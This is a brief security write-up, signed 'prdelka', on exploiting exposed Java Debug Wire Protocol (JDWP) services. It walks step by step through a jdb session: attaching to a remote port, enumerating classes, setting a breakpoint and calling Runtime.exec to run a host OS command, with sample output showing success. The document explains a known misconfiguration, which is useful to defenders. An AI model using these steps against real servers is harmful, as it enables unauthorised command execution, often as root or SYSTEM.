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+JDWP Arbitrary Java Code Execution Exploitation
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 Java Debugging Wire Protocol (JDWP) is the lowlevel protocol used for
 communication between a debugger and a Java Virtual Machine (JVM) as outlined in
 the Java Platform Debugger Architecture. It is often used to facilitate remote
 debugging of a JVM over TCP/IP and can be identified by the initial protocol
 handshake ascii string "JDWP-Handshake", sent first by the client and responded
 to by the server. "jdb" is a proof-of-concept JDWP capable debugger included in
 Oracle JDK and OpenJDK which can be used to interact with remote JDWP capable
 services. Typically this service runs on TCP port 8000 however it can be found
 to run on arbitrary TCP ports and is sometimes found enabled inadvertantly on
 servers running Java services. It is possible to use this utility to exploit
 remote JVM's and execute arbitrary Java code. An example shown here outlines
 how to leverage this weakness to execute arbitrary host OS commands in the
 context of the JVM.
 
 $ jdb -attach x.x.x.x:8000
 Set uncaught java.lang.Throwable
 Set deferred uncaught java.lang.Throwable
 Initializing jdb ...
 >
 
 Information leaks can be leveraged to determine details about the remote OS
 platform and Java installation configuration through the "classpath" command.
 
 > classpath
 base directory: C:\Windows\system32
 classpath: [ ** MASKED ** list of jar's loaded in remote JVM ]
 bootclasspath: [ ** MASKED ** list of JRE paths ]
 >
 
 jdb is capable of performing remote object creation and method invokation from
 within the CLI using the "print" "dump" and "eval" commands with the "new"
 keyword. To determine the classes and methods available use the "classes" and
 then "methods" on the corrosponding class.
 
 > classes
 ...
 java.lang.Runtime
 ...
 > methods java.lang.Runtime
 ...
 java.lang.Runtime exec(java.lang.String[])
 ...
 
 It is often necessary to set the JDB context to be within a suspended thread or
 breakpoint before attempting to create a new remote object class. Using the
 "trace go methods" function can be used to identify a candidate for a breakpoint
 and then "stop in your.random.class.method()" to halt the execution of a running
 thread. When the execution is halted you can use "print new" to create your
 class and invoke methods such as in the following example.
 
 Breakpoint hit: "thread=threadname",your.random.class.method(), line=745 bci=0
 threadname[1] print new java.lang.Runtime().exec("cmd.exe /c dir")
 new java.lang.Runtime().exec("cmd.exe /c dir") = "java.lang.ProcessImpl@918502"
 threadname[1] cont
 >
 
 Exploitation success will be determined from the output of the JDB process as
 functions returning "null" or errors about "unsuspended thread state" would
 indicate that exploitation was unsuccessful, however in the example above we can
 see that the java created a new object "java.lang.ProcessImpl@918502" indicating
 the "cmd.exe /c dir" was executed with success. On Linux this may need adjusting
 to "java.lang.Runtime.getRuntime().exec()" however see the method / class
 enumeration when attempting to exploit this flaw.
 
 
 Your java will be executed in the context of the running JVM application, this
 has been identified on services running as both "root" (*nix) and "SYSTEM"
 (win32) in the wild.
 
 
  -- prdelka